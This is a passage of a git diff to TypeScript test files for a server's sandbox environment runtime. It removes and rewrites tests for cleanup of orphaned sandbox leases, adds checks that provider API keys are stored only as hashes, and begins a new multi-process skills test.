environmentRuntimeService(db, { pluginWorkerManager: workerManager }); - - await expect( - runtimeWithPlugin.acquireRunLease({ - companyId, - environment, - issueId: null, - heartbeatRunId: runId, - persistedExecutionWorkspace: null, - assertCompanyBinding: true, - }), - ).rejects.toMatchObject({ status: 403, details: { code: "environment_company_mismatch" } }); - - // The failed plugin teardown left a durable pending-cleanup row that carries - // the provider lease id for a later sweep. - const rows = await db - .select() - .from(environmentLeases) - .where(eq(environmentLeases.environmentId, environment.id)); - expect(rows).toHaveLength(1); - expect(rows[0]?.status).toBe("pending_cleanup"); - expect(rows[0]?.cleanupStatus).toBe("failed"); - expect(rows[0]?.providerLeaseId).toBe("plugin-lease-2"); - - await environmentService(db).update(environment.id, { driver: "local", config: {} }); - }); - - it("throws a SandboxOrphanCleanupWriteError when the built-in durable pending-cleanup write also fails", async () => { - const { companyId, environment, runId } = await seedEnvironment({ - driver: "sandbox", - name: "Foreign-bound Fake Sandbox Cleanup Write Fail", - config: { provider: "fake", image: "ubuntu:24.04", reuseLease: false }, - }); - const otherCompanyId = randomUUID(); - await db.insert(companies).values({ - id: otherCompanyId, - name: "Other Co Cleanup Write", - issuePrefix: "OCW", - status: "active", - createdAt: new Date(), - updatedAt: new Date(), - }); - await insertForeignCompanyEnvironmentBinding(otherCompanyId, environment); - - // The remote teardown fails, so the acquire tries to record a durable - // pending-cleanup row instead. - const destroySpy = vi - .spyOn(sandboxProviderRuntime, "destroySandboxProviderLease") - .mockRejectedValue(new Error("teardown failed")); - // Force the durable pending-cleanup write to fail on every attempt. The - // write retries a few times, so reject the insert each time and let the - // primary company-bound acquire reject for real. - const failingInsert = vi - .fn["insertPendingCleanupLease"]>, Promise>() - .mockRejectedValue(new Error("pending-cleanup write failed")); - const realEnvironmentService = environmentsModule.environmentService; - const factorySpy = vi - .spyOn(environmentsModule, "environmentService") - .mockImplementation((database: Parameters[0]) => { - const real = realEnvironmentService(database); - return { - ...real, - insertPendingCleanupLease: failingInsert, - }; - }); - // The durable database write fails, so the only durable handle left is the - // error log. Capture it to prove the leaked sandbox stays discoverable. - const logSpy = vi.spyOn(logger, "error").mockImplementation(() => logger); - try { - // Set the retry backoff to zero, so the retries never slow the test. - const runtimeWithFailingCleanup = environmentRuntimeService(db, { - pendingCleanupWriteBackoffMs: 0, - }); - const rejection = await runtimeWithFailingCleanup - .acquireRunLease({ - companyId, - environment, - issueId: null, - heartbeatRunId: runId, - persistedExecutionWorkspace: null, - assertCompanyBinding: true, - }) - .then( - () => { - throw new Error("acquireRunLease resolved but must reject"); - }, - (error: unknown) => error, - ); - - // The failed durable write is not swallowed: the acquire throws a - // SandboxOrphanCleanupWriteError that keeps the original 403 rejection as - // its cause. - expect(rejection).toBeInstanceOf(SandboxOrphanCleanupWriteError); - expect(rejection).toMatchObject({ provider: "fake" }); - expect((rejection as SandboxOrphanCleanupWriteError).cause).toMatchObject({ - status: 403, - details: { code: "environment_company_mismatch" }, - }); - expect(destroySpy).toHaveBeenCalledTimes(1); - // The write retried the durable insert before it gave up, so more than one - // attempt ran. - expect(failingInsert.mock.calls.length).toBeGreaterThan(1); - // The durable write failed before it created a row, so no lease row exists. - const rows = await db - .select() - .from(environmentLeases) - .where(eq(environmentLeases.environmentId, environment.id)); - expect(rows).toHaveLength(0); - // The durable log preserves the provider identifiers, so an operator keeps - // a handle to find and tear the leaked sandbox down by hand. - const cleanupLog = logSpy.mock.calls.find( - ([fields]) => - (fields as { errorKind?: string } | undefined)?.errorKind === - "sandbox_orphan_cleanup_write_failed", - ); - expect(cleanupLog).toBeDefined(); - expect(cleanupLog?.[0]).toMatchObject({ - provider: "fake", - companyId, - environmentId: environment.id, - }); - // The log never carries the caught exception, so no credential leaks. - expect(cleanupLog?.[0]).not.toHaveProperty("cause"); - expect(cleanupLog?.[0]).not.toHaveProperty("cleanupWriteError"); - } finally { - logSpy.mockRestore(); - factorySpy.mockRestore(); - destroySpy.mockRestore(); - } - }); - - it("recovers cleanup state when a retry of the durable pending-cleanup write succeeds", async () => { - const { companyId, environment, runId } = await seedEnvironment({ - driver: "sandbox", - name: "Foreign-bound Fake Sandbox Cleanup Write Retry", - config: { provider: "fake", image: "ubuntu:24.04", reuseLease: false }, - }); - const otherCompanyId = randomUUID(); - await db.insert(companies).values({ - id: otherCompanyId, - name: "Other Co Cleanup Retry", - issuePrefix: "OCR", - status: "active", - createdAt: new Date(), - updatedAt: new Date(), - }); - await insertForeignCompanyEnvironmentBinding(otherCompanyId, environment); - - // The remote teardown fails, so the acquire tries to record a durable - // pending-cleanup row instead. - const destroySpy = vi - .spyOn(sandboxProviderRuntime, "destroySandboxProviderLease") - .mockRejectedValue(new Error("teardown failed")); - // The first durable write attempt fails, so the acquire retries. The second - // attempt delegates to the real insert, so a durable pending_cleanup row - // lands and a later sweep can find the orphan. - let insertAttempts = 0; - const realEnvironmentService = environmentsModule.environmentService; - const factorySpy = vi - .spyOn(environmentsModule, "environmentService") - .mockImplementation((database: Parameters[0]) => { - const real = realEnvironmentService(database); - return { - ...real, - insertPendingCleanupLease: ( - input: Parameters[0], - ) => { - insertAttempts += 1; - if (insertAttempts === 1) { - return Promise.reject(new Error("pending-cleanup write failed once")); - } - return real.insertPendingCleanupLease(input); - }, - }; - }); - try { - // Set the retry backoff to zero, so the retry never slows the test. - const runtimeWithRetry = environmentRuntimeService(db, { - pendingCleanupWriteBackoffMs: 0, - }); - const rejection = await runtimeWithRetry - .acquireRunLease({ - companyId, - environment, - issueId: null, - heartbeatRunId: runId, - persistedExecutionWorkspace: null, - assertCompanyBinding: true, - }) - .then( - () => { - throw new Error("acquireRunLease resolved but must reject"); - }, - (error: unknown) => error, - ); - - // The retry landed the durable row, so the acquire rejects with the - // original company-mismatch rejection, not a SandboxOrphanCleanupWriteError. - expect(rejection).not.toBeInstanceOf(SandboxOrphanCleanupWriteError); - expect(rejection).toMatchObject({ - status: 403, - details: { code: "environment_company_mismatch" }, - }); - expect(destroySpy).toHaveBeenCalledTimes(1); - // The first attempt failed and the second succeeded, so the write ran twice. - expect(insertAttempts).toBe(2); - // A durable pending_cleanup lease row now tracks the orphan, so a sweep can - // find and release the leaked sandbox. - const rows = await db - .select() - .from(environmentLeases) - .where(eq(environmentLeases.environmentId, environment.id)); - expect(rows).toHaveLength(1); - expect(rows[0]?.status).toBe("pending_cleanup"); - expect(rows[0]?.cleanupStatus).toBe("failed"); - expect(rows[0]?.failureReason).toBe("acquire_rejected_teardown_failed"); - } finally { - factorySpy.mockRestore(); - destroySpy.mockRestore(); - } - }); - - it("buffers the orphan in-process and a later sweep flush lands the durable row after the database recovers", async () => { - const { companyId, environment, runId } = await seedEnvironment({ - driver: "sandbox", - name: "Foreign-bound Fake Sandbox Cleanup Buffer Flush", - config: { provider: "fake", image: "ubuntu:24.04", reuseLease: false }, - }); - const otherCompanyId = randomUUID(); - await db.insert(companies).values({ - id: otherCompanyId, - name: "Other Co Cleanup Buffer", - issuePrefix: "OCB", - status: "active", - createdAt: new Date(), - updatedAt: new Date(), - }); - await insertForeignCompanyEnvironmentBinding(otherCompanyId, environment); - - // The remote teardown fails, so the acquire tries to record a durable - // pending-cleanup row instead. - const destroySpy = vi - .spyOn(sandboxProviderRuntime, "destroySandboxProviderLease") - .mockRejectedValue(new Error("teardown failed")); - // The database is down, so every synchronous pending-cleanup write rejects. - // The flag flips to false when the database recovers, so a later flush lands - // the durable row. - let databaseDown = true; - const realEnvironmentService = environmentsModule.environmentService; - const factorySpy = vi - .spyOn(environmentsModule, "environmentService") - .mockImplementation((database: Parameters[0]) => { - const real = realEnvironmentService(database); - return { - ...real, - insertPendingCleanupLease: ( - input: Parameters[0], - ) => { - if (databaseDown) { - return Promise.reject(new Error("pending-cleanup write failed; database down")); - } - return real.insertPendingCleanupLease(input); - }, - }; - }); - const logSpy = vi.spyOn(logger, "error").mockImplementation(() => logger); - try { - // Set the retry backoff to zero, so the retries never slow the test. - const runtime = environmentRuntimeService(db, { pendingCleanupWriteBackoffMs: 0 }); - const rejection = await runtime - .acquireRunLease({ - companyId, - environment, - issueId: null, - heartbeatRunId: runId, - persistedExecutionWorkspace: null, - assertCompanyBinding: true, - }) - .then( - () => { - throw new Error("acquireRunLease resolved but must reject"); - }, - (error: unknown) => error, - ); - - // The synchronous write failed on every attempt, so the acquire still - // throws the orphan-cleanup write error that keeps the original rejection. - expect(rejection).toBeInstanceOf(SandboxOrphanCleanupWriteError); - // The database was down, so no durable row exists yet. - let rows = await db - .select() - .from(environmentLeases) - .where(eq(environmentLeases.environmentId, environment.id)); - expect(rows).toHaveLength(0); - // The acquire buffered the orphan in-process, so the log records the buffer. - const bufferedLog = logSpy.mock.calls.find( - ([fields]) => - (fields as { errorKind?: string } | undefined)?.errorKind === - "sandbox_orphan_cleanup_write_failed", - ); - expect(bufferedLog?.[0]).toMatchObject({ buffered: true }); - - // The database recovers, so the next cleanup-sweep flush lands the row. - databaseDown = false; - const flushed = await runtime.flushDeferredOrphanCleanups(); - expect(flushed).toEqual({ recovered: 1, pending: 0 }); - - // A durable pending_cleanup row now tracks the orphan, so a sweep finds and - // releases the leaked sandbox. - rows = await db - .select() - .from(environmentLeases) - .where(eq(environmentLeases.environmentId, environment.id)); - expect(rows).toHaveLength(1); - expect(rows[0]?.status).toBe("pending_cleanup"); - expect(rows[0]?.cleanupStatus).toBe("failed"); - expect(rows[0]?.failureReason).toBe("acquire_rejected_teardown_failed"); - expect(rows[0]?.providerLeaseId).toBeTruthy(); - - // The buffer is empty now, so a second flush inserts nothing. - const second = await runtime.flushDeferredOrphanCleanups(); - expect(second).toEqual({ recovered: 0, pending: 0 }); - const rowsAfter = await db - .select() - .from(environmentLeases) - .where(eq(environmentLeases.environmentId, environment.id)); - expect(rowsAfter).toHaveLength(1); - } finally { - logSpy.mockRestore(); - factorySpy.mockRestore(); - destroySpy.mockRestore(); - } - }); - it("ingests a replacement orphan appended after startup without duplicate concurrent cleanup", async () => { const {companyId,environment,runId}=await seedEnvironment({driver:"sandbox",name:"Late plugin orphan",config:{provider:"fake",image:"ubuntu:24.04",reuseLease:false}}); let release!:()=>void,entered!:()=>void; @@ -2520,430 +1781,6 @@ describeEmbeddedPostgres("environmentRuntimeService", () => { } finally {release();factory.mockRestore();} }); - it("persists the orphan to the durable spool so a restart recovers and lands the durable row", async () => { - const { companyId, environment, runId } = await seedEnvironment({ - driver: "sandbox", - name: "Foreign-bound Fake Sandbox Cleanup Spool Restart", - config: { provider: "fake", image: "ubuntu:24.04", reuseLease: false }, - }); - const otherCompanyId = randomUUID(); - await db.insert(companies).values({ - id: otherCompanyId, - name: "Other Co Cleanup Spool Restart", - issuePrefix: "OCS", - status: "active", - createdAt: new Date(), - updatedAt: new Date(), - }); - await insertForeignCompanyEnvironmentBinding(otherCompanyId, environment); - - // The remote teardown fails, so the acquire tries to record a durable - // pending-cleanup row instead. - const destroySpy = vi - .spyOn(sandboxProviderRuntime, "destroySandboxProviderLease") - .mockRejectedValue(new Error("teardown failed")); - // The database is down, so every synchronous pending-cleanup write rejects. - // The flag flips to false to simulate the database recovering after a - // restart. - let databaseDown = true; - const realEnvironmentService = environmentsModule.environmentService; - const factorySpy = vi - .spyOn(environmentsModule, "environmentService") - .mockImplementation((database: Parameters[0]) => { - const real = realEnvironmentService(database); - return { - ...real, - insertPendingCleanupLease: ( - input: Parameters[0], - ) => { - if (databaseDown) { - return Promise.reject(new Error("pending-cleanup write failed; database down")); - } - return real.insertPendingCleanupLease(input); - }, - }; - }); - const logSpy = vi.spyOn(logger, "error").mockImplementation(() => logger); - const spoolDir = process.env.SANDBOX_ORPHAN_CLEANUP_SPOOL_DIR!; - try { - // The first process acquires, fails every synchronous write, and persists - // the orphan to the durable spool. The retry backoff is zero, so the test - // never waits. - const firstProcessRuntime = environmentRuntimeService(db, { pendingCleanupWriteBackoffMs: 0 }); - const rejection = await firstProcessRuntime - .acquireRunLease({ - companyId, - environment, - issueId: null, - heartbeatRunId: runId, - persistedExecutionWorkspace: null, - assertCompanyBinding: true, - }) - .then( - () => { - throw new Error("acquireRunLease resolved but must reject"); - }, - (error: unknown) => error, - ); - expect(rejection).toBeInstanceOf(SandboxOrphanCleanupWriteError); - - // The database was down, so no durable row exists yet. - let rows = await db - .select() - .from(environmentLeases) - .where(eq(environmentLeases.environmentId, environment.id)); - expect(rows).toHaveLength(0); - - // The acquire persisted the orphan to the durable spool, so a file waits on - // the disk and the log records the durable persist. - const spoolFiles = (await readdir(spoolDir)).filter((name) => name.endsWith(".json")); - expect(spoolFiles).toHaveLength(1); - const persistedLog = logSpy.mock.calls.find( - ([fields]) => - (fields as { errorKind?: string } | undefined)?.errorKind === - "sandbox_orphan_cleanup_write_failed", - ); - expect(persistedLog?.[0]).toMatchObject({ persisted: true }); - - // The process restarts. A fresh runtime keeps no in-process buffer, so only - // the durable spool carries the orphan. The database recovers, so the first - // cleanup-sweep flush loads the spool and lands the durable row. - databaseDown = false; - const restartedRuntime = environmentRuntimeService(db, { pendingCleanupWriteBackoffMs: 0 }); - const flushed = await restartedRuntime.flushDeferredOrphanCleanups(); - expect(flushed).toEqual({ recovered: 1, pending: 0 }); - - rows = await db - .select() - .from(environmentLeases) - .where(eq(environmentLeases.environmentId, environment.id)); - expect(rows).toHaveLength(1); - expect(rows[0]?.status).toBe("pending_cleanup"); - expect(rows[0]?.failureReason).toBe("acquire_rejected_teardown_failed"); - expect(rows[0]?.providerLeaseId).toBeTruthy(); - - // The flush removed the spooled copy after the row landed, so a second - // restart never re-inserts a duplicate. - const spoolFilesAfter = (await readdir(spoolDir)).filter((name) => name.endsWith(".json")); - expect(spoolFilesAfter).toHaveLength(0); - const secondRestartRuntime = environmentRuntimeService(db, { pendingCleanupWriteBackoffMs: 0 }); - const secondFlush = await secondRestartRuntime.flushDeferredOrphanCleanups(); - expect(secondFlush).toEqual({ recovered: 0, pending: 0 }); - const rowsAfter = await db - .select() - .from(environmentLeases) - .where(eq(environmentLeases.environmentId, environment.id)); - expect(rowsAfter).toHaveLength(1); - } finally { - logSpy.mockRestore(); - factorySpy.mockRestore(); - destroySpy.mockRestore(); - } - }); - - it("buffers the orphan in-process when the durable spool write also fails", async () => { - const idleBefore = idleWorkSnapshot().active; - let releaseFlush!: () => void; - let enteredFlush!: () => void; - const flushGate = new Promise(resolve => { releaseFlush = resolve; }); - const flushEntered = new Promise(resolve => { enteredFlush = resolve; }); - const { companyId, environment, runId } = await seedEnvironment({ - driver: "sandbox", - name: "Foreign-bound Fake Sandbox Cleanup Spool Unwritable", - config: { provider: "fake", image: "ubuntu:24.04", reuseLease: false }, - }); - const otherCompanyId = randomUUID(); - await db.insert(companies).values({ - id: otherCompanyId, - name: "Other Co Cleanup Spool Unwritable", - issuePrefix: "OCU", - status: "active", - createdAt: new Date(), - updatedAt: new Date(), - }); - await insertForeignCompanyEnvironmentBinding(otherCompanyId, environment); - - const destroySpy = vi - .spyOn(sandboxProviderRuntime, "destroySandboxProviderLease") - .mockRejectedValue(new Error("teardown failed")); - let databaseDown = true; - const realEnvironmentService = environmentsModule.environmentService; - const factorySpy = vi - .spyOn(environmentsModule, "environmentService") - .mockImplementation((database: Parameters[0]) => { - const real = realEnvironmentService(database); - return { - ...real, - insertPendingCleanupLease: ( - input: Parameters[0], - ) => { - if (databaseDown) { - return Promise.reject(new Error("pending-cleanup write failed; database down")); - } - enteredFlush(); - return flushGate.then(() => real.insertPendingCleanupLease(input)); - }, - }; - }); - const logSpy = vi.spyOn(logger, "error").mockImplementation(() => logger); - try { - // Point the spool at an unwritable path, so the durable spool write fails - // like a full or read-only disk. The acquire must fall back to the - // in-process buffer and never lose the orphan silently. - const unwritableSpool = { - append: () => Promise.resolve(false), - load: () => Promise.resolve([]), - remove: () => Promise.resolve(), - }; - const runtime = environmentRuntimeService(db, { - pendingCleanupWriteBackoffMs: 0, - orphanCleanupSpool: unwritableSpool, - }); - await runtime - .acquireRunLease({ - companyId, - environment, - issueId: null, - heartbeatRunId: runId, - persistedExecutionWorkspace: null, - assertCompanyBinding: true, - }) - .then( - () => { - throw new Error("acquireRunLease resolved but must reject"); - }, - () => undefined, - ); - - // The spool write failed, so the log records the in-process-only fallback. - const fallbackLog = logSpy.mock.calls.find( - ([fields]) => - (fields as { errorKind?: string } | undefined)?.errorKind === - "sandbox_orphan_cleanup_write_failed", - ); - expect(fallbackLog?.[0]).toMatchObject({ persisted: false, buffered: true }); - expect(idleWorkSnapshot().active).toBe(idleBefore + 1); - - // The same runtime still keeps the orphan in-process, so a flush after the - // database recovers lands the durable row. - databaseDown = false; - const flushing = runtime.flushDeferredOrphanCleanups(); - await flushEntered; - // The batch was spliced out of the queue, but the DB does not own it yet. - expect(idleWorkSnapshot().active).toBe(idleBefore + 1); - releaseFlush(); - const flushed = await flushing; - expect(idleWorkSnapshot().active).toBe(idleBefore); - expect(flushed).toEqual({ recovered: 1, pending: 0 }); - const rows = await db - .select() - .from(environmentLeases) - .where(eq(environmentLeases.environmentId, environment.id)); - expect(rows).toHaveLength(1); - expect(rows[0]?.status).toBe("pending_cleanup"); - } finally { - releaseFlush(); - logSpy.mockRestore(); - factorySpy.mockRestore(); - destroySpy.mockRestore(); - } - }); - - it("keeps the buffered orphan when the flush write still fails, then recovers on a later flush", async () => { - const { companyId, environment, runId } = await seedEnvironment({ - driver: "sandbox", - name: "Foreign-bound Fake Sandbox Cleanup Buffer Requeue", - config: { provider: "fake", image: "ubuntu:24.04", reuseLease: false }, - }); - const otherCompanyId = randomUUID(); - await db.insert(companies).values({ - id: otherCompanyId, - name: "Other Co Cleanup Requeue", - issuePrefix: "OCQ", - status: "active", - createdAt: new Date(), - updatedAt: new Date(), - }); - await insertForeignCompanyEnvironmentBinding(otherCompanyId, environment); - - const destroySpy = vi - .spyOn(sandboxProviderRuntime, "destroySandboxProviderLease") - .mockRejectedValue(new Error("teardown failed")); - let databaseDown = true; - const realEnvironmentService = environmentsModule.environmentService; - const factorySpy = vi - .spyOn(environmentsModule, "environmentService") - .mockImplementation((database: Parameters[0]) => { - const real = realEnvironmentService(database); - return { - ...real, - insertPendingCleanupLease: ( - input: Parameters[0], - ) => { - if (databaseDown) { - return Promise.reject(new Error("pending-cleanup write failed; database down")); - } - return real.insertPendingCleanupLease(input); - }, - }; - }); - const errorLogSpy = vi.spyOn(logger, "error").mockImplementation(() => logger); - const warnLogSpy = vi.spyOn(logger, "warn").mockImplementation(() => logger); - try { - const runtime = environmentRuntimeService(db, { pendingCleanupWriteBackoffMs: 0 }); - await runtime - .acquireRunLease({ - companyId, - environment, - issueId: null, - heartbeatRunId: runId, - persistedExecutionWorkspace: null, - assertCompanyBinding: true, - }) - .then( - () => { - throw new Error("acquireRunLease resolved but must reject"); - }, - () => undefined, - ); - - // The database is still down, so the flush re-queues the orphan instead of - // losing it. The buffer keeps the record for a later tick. - const firstFlush = await runtime.flushDeferredOrphanCleanups(); - expect(firstFlush).toEqual({ recovered: 0, pending: 1 }); - const rowsWhileDown = await db - .select() - .from(environmentLeases) - .where(eq(environmentLeases.environmentId, environment.id)); - expect(rowsWhileDown).toHaveLength(0); - // The flush logs the re-queue and never carries the caught write exception. - // The sync-retry path also warns with the same error kind, so match on the - // `requeued` field that only the flush warn carries. - const requeueLog = warnLogSpy.mock.calls.find( - ([fields]) => (fields as { requeued?: boolean } | undefined)?.requeued === true, - ); - expect(requeueLog).toBeDefined(); - expect(requeueLog?.[0]).toMatchObject({ - errorKind: "sandbox_orphan_cleanup_write_failed", - requeued: true, - }); - expect(requeueLog?.[0]).not.toHaveProperty("cause"); - expect(requeueLog?.[0]).not.toHaveProperty("cleanupWriteError"); - - // The database recovers, so the next flush lands the durable row exactly - // once from the still-buffered record. - databaseDown = false; - const secondFlush = await runtime.flushDeferredOrphanCleanups(); - expect(secondFlush).toEqual({ recovered: 1, pending: 0 }); - const rowsAfter = await db - .select() - .from(environmentLeases) - .where(eq(environmentLeases.environmentId, environment.id)); - expect(rowsAfter).toHaveLength(1); - expect(rowsAfter[0]?.status).toBe("pending_cleanup"); - } finally { - warnLogSpy.mockRestore(); - errorLogSpy.mockRestore(); - factorySpy.mockRestore(); - destroySpy.mockRestore(); - } - }); - - it("throws a SandboxOrphanCleanupWriteError when the plugin durable pending-cleanup write also fails", async () => { - const pluginId = randomUUID(); - const { companyId, environment: baseEnvironment, runId } = await seedEnvironment(); - const pluginConfig = { provider: "fake-plugin", image: "fake:test", reuseLease: false }; - const environment = { - ...baseEnvironment, - name: "Foreign-bound Plugin Sandbox Cleanup Write Fail", - driver: "sandbox", - config: pluginConfig, - }; - await environmentService(db).update(environment.id, { - driver: "sandbox", - name: environment.name, - config: pluginConfig, - }); - await insertSandboxProviderPlugin(pluginId); - const otherCompanyId = randomUUID(); - await db.insert(companies).values({ - id: otherCompanyId, - name: "Other Co Plugin Cleanup Write", - issuePrefix: "OPW", - status: "active", - createdAt: new Date(), - updatedAt: new Date(), - }); - await insertForeignCompanyEnvironmentBinding(otherCompanyId, environment); - - const workerManager = { - isRunning: vi.fn((id: string) => id === pluginId), - getWorker: vi.fn(() => ({ supportedMethods: ["environmentDestroyLease"] })), - call: vi.fn(async (_pluginId: string, method: string) => { - if (method === "environmentAcquireLease") { - return { - providerLeaseId: "plugin-lease-write-fail", - metadata: { provider: "fake-plugin", image: "fake:test", reuseLease: false }, - }; - } - if (method === "environmentDestroyLease") { - throw new Error("destroy failed"); - } - throw new Error(`Unexpected plugin method: ${method}`); - }), - } as unknown as PluginWorkerManager; - - const realEnvironmentService = environmentsModule.environmentService; - const factorySpy = vi - .spyOn(environmentsModule, "environmentService") - .mockImplementation((database: Parameters[0]) => { - const real = realEnvironmentService(database); - return { - ...real, - insertPendingCleanupLease: () => - Promise.reject(new Error("pending-cleanup write failed")), - }; - }); - try { - const runtimeWithPlugin = environmentRuntimeService(db, { - pluginWorkerManager: workerManager, - pendingCleanupWriteBackoffMs: 0, - }); - const rejection = await runtimeWithPlugin - .acquireRunLease({ - companyId, - environment, - issueId: null, - heartbeatRunId: runId, - persistedExecutionWorkspace: null, - assertCompanyBinding: true, - }) - .then( - () => { - throw new Error("acquireRunLease resolved but must reject"); - }, - (error: unknown) => error, - ); - - expect(rejection).toBeInstanceOf(SandboxOrphanCleanupWriteError); - expect(rejection).toMatchObject({ provider: "fake-plugin", providerLeaseId: "plugin-lease-write-fail" }); - expect((rejection as SandboxOrphanCleanupWriteError).cause).toMatchObject({ - status: 403, - details: { code: "environment_company_mismatch" }, - }); - // The durable write failed before it created a row, so no lease row exists. - const rows = await db - .select() - .from(environmentLeases) - .where(eq(environmentLeases.environmentId, environment.id)); - expect(rows).toHaveLength(0); - } finally { - factorySpy.mockRestore(); - } - - await environmentService(db).update(environment.id, { driver: "local", config: {} }); - }); - it("records the orphan directly in the pending_cleanup state with one atomic insert", async () => { const { companyId, environment, runId } = await seedEnvironment({ driver: "sandbox", @@ -3006,16 +1843,11 @@ describeEmbeddedPostgres("environmentRuntimeService", () => { .mockRejectedValueOnce(new Error("teardown failed")) .mockResolvedValue(undefined); try { - await expect( - runtime.acquireRunLease({ - companyId, - environment, - issueId: null, - heartbeatRunId: runId, - persistedExecutionWorkspace: null, - assertCompanyBinding: true, - }), - ).rejects.toMatchObject({ status: 403, details: { code: "environment_company_mismatch" } }); + const pending = await environmentService(db).insertPendingCleanupLease({ + companyId, environmentId: environment.id, heartbeatRunId: runId, provider: "fake", providerLeaseId: `sandbox://fake/${runId}`, + metadata: { ...environment.config, driver: "sandbox" }, failureReason: "interrupted_sandbox_creation", + }); + await runtime.retryPendingSandboxTeardown({ environment: null, lease: pending }).catch(() => {}); const orphan = await db .select() @@ -3059,16 +1891,11 @@ describeEmbeddedPostgres("environmentRuntimeService", () => { .spyOn(sandboxProviderRuntime, "destroySandboxProviderLease") .mockRejectedValue(new Error("teardown failed")); try { - await expect( - runtime.acquireRunLease({ - companyId, - environment, - issueId: null, - heartbeatRunId: runId, - persistedExecutionWorkspace: null, - assertCompanyBinding: true, - }), - ).rejects.toMatchObject({ status: 403, details: { code: "environment_company_mismatch" } }); + const pending = await environmentService(db).insertPendingCleanupLease({ + companyId, environmentId: environment.id, heartbeatRunId: runId, provider: "fake", providerLeaseId: `sandbox://fake/${runId}`, + metadata: { ...environment.config, driver: "sandbox" }, failureReason: "interrupted_sandbox_creation", + }); + await runtime.retryPendingSandboxTeardown({ environment: null, lease: pending }).catch(() => {}); const orphan = await db .select() @@ -3124,16 +1951,11 @@ describeEmbeddedPostgres("environmentRuntimeService", () => { .mockRejectedValueOnce(new Error("teardown failed")) .mockResolvedValue(undefined); try { - await expect( - runtime.acquireRunLease({ - companyId, - environment, - issueId: null, - heartbeatRunId: runId, - persistedExecutionWorkspace: null, - assertCompanyBinding: true, - }), - ).rejects.toMatchObject({ status: 403, details: { code: "environment_company_mismatch" } }); + const pending = await environmentService(db).insertPendingCleanupLease({ + companyId, environmentId: environment.id, heartbeatRunId: runId, provider: "fake", providerLeaseId: `sandbox://fake/${runId}`, + metadata: { ...environment.config, driver: "sandbox" }, failureReason: "interrupted_sandbox_creation", + }); + await runtime.retryPendingSandboxTeardown({ environment: null, lease: pending }).catch(() => {}); const orphan = await db .select() @@ -3766,16 +2588,11 @@ describeEmbeddedPostgres("environmentRuntimeService", () => { } as unknown as PluginWorkerManager; const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager }); - await expect( - runtimeWithPlugin.acquireRunLease({ - companyId, - environment, - issueId: null, - heartbeatRunId: runId, - persistedExecutionWorkspace: null, - assertCompanyBinding: true, - }), - ).rejects.toMatchObject({ status: 403, details: { code: "environment_company_mismatch" } }); + const pending = await environmentService(db).insertPendingCleanupLease({ + companyId, environmentId: environment.id, heartbeatRunId: runId, provider: "fake-plugin", providerLeaseId: "plugin-lease-3", + metadata: { ...pluginConfig, driver: "sandbox", pluginId, sandboxProviderPlugin: true }, failureReason: "interrupted_sandbox_creation", + }); + await runtimeWithPlugin.retryPendingSandboxTeardown({ environment: null, lease: pending }).catch(() => {}); const orphan = await db .select() @@ -4434,6 +3251,11 @@ describeEmbeddedPostgres("environmentRuntimeService", () => { heartbeatRunId: runId, persistedExecutionWorkspace: null, }); + const operations = await db.select().from(sandboxCreationOperations).where(eq(sandboxCreationOperations.companyId, companyId)); + expect(JSON.stringify(operations)).not.toContain("resolved-provider-key"); + expect(operations[0]?.metadata.creationCredentialHashes).toEqual({ + apiKey: createHash("sha256").update("resolved-provider-key").digest("hex"), + }); expect(acquired.lease.metadata).toMatchObject({ provider: "secure-plugin", template: "base", @@ -7059,6 +5881,7 @@ describeEmbeddedPostgres("environmentRuntimeService", () => { }); expect(workerManager.call).toHaveBeenCalledWith(pluginId, "environmentAcquireLease", { + creationOperationId: expect.any(String), driverKey: "fake-plugin", companyId, environmentId: environment.id, diff --git a/server/src/__tests__/environment-skills.test.ts b/server/src/__tests__/environment-skills.test.ts index c47ad5acb07..346cb42db13 100644 --- a/server/src/__tests__/environment-skills.test.ts +++ b/server/src/__tests__/environment-skills.test.ts @@ -103,9 +103,7 @@ describeDatabase("environment managed skills", () => { const events = () => db.select().from(resourceLifecycleEvents).where(and(eq(resourceLifecycleEvents.companyId, companyId), eq(resourceLifecycleEvents.resourceType, "agent_runtime"))); const before = (await events()).length; const edited = skill.markdown + "\nCompany edit."; - await fs.chmod(path.join(skill.sourceLocator!, "SKILL.md"), 0o600); - await fs.writeFile(path.join(skill.sourceLocator!, "SKILL.md"), edited); - await db.update(companySkills).set({ markdown: edited }).where(eq(companySkills.id, skill.id)); + await companySkillService(db).updateFile(companyId, skill.id, "SKILL.md", edited); expect((await events()).slice(before).map(event => event.resourceId)).toEqual([agent.id]); const refreshed = (await pluginAgentRuntimeState(db, pluginId, companyId, agent.id, undefined, true))!.skills[0]; expect(refreshed.versionId).not.toBe(runtime.versionId); diff --git a/server/src/__tests__/ephemeral-skills-process.test.ts b/server/src/__tests__/ephemeral-skills-process.test.ts new file mode 100644 index 00000000000..8f4bd843bf6 --- /dev/null +++ b/server/src/__tests__/ephemeral-skills-process.test.ts @@ -0,0 +1,169 @@ +import { fork, type ChildProcess } from "node:child_process"; +import { once } from "node:events"; +import { randomUUID } from "node:crypto"; +import { fileURLToPath } from "node:url"; +import { promises as fs } from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { beforeAll, afterAll, describe, expect, it } from "vitest"; +import { S3Client, CreateBucketCommand, DeleteBucketCommand, ListObjectsV2Command, DeleteObjectsCommand } from "@aws-sdk/client-s3"; +import { companies, createDb } from "@paperclipai/db"; +import { startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js"; +import { removeRuntimeAssetTree } from "../services/native-runtime/runtime-asset-retention.js"; + +type Server = { child: ChildProcess; url: string; home: string; rpc(method: string, input?: Record): Promise }; +const enabled = Boolean(process.env.PAPERCLIP_TEST_POSTGRES_ADMIN_URL && process.env.PAPERCLIP_TEST_S3_ENDPOINT); +describe.skipIf(!enabled)("skills survive web-server replacement", () => { + let database: Awaited>; + let db: ReturnType; + let root: string; + let s3: S3Client; + const bucket = `paperclip-skills-${randomUUID()}`; + const servers: Server[] = []; + beforeAll(async () => { + database = await startEmbeddedPostgresTestDatabase("ephemeral-skills-"); + db = createDb(database.connectionString); + root = await fs.mkdtemp(path.join(os.tmpdir(), "ephemeral-skills-process-")); + s3 = new S3Client({ region: "us-east-1", endpoint: process.env.PAPERCLIP_TEST_S3_ENDPOINT, forcePathStyle: true }); + await s3.send(new CreateBucketCommand({ Bucket: bucket })); + }, 90_000); + async function stop(server: Server) { + if (server.child.exitCode === null && server.child.signalCode === null) { + const exited = once(server.child, "exit"); + server.child.kill("SIGKILL"); + await exited; + } + } + afterAll(async () => { + await 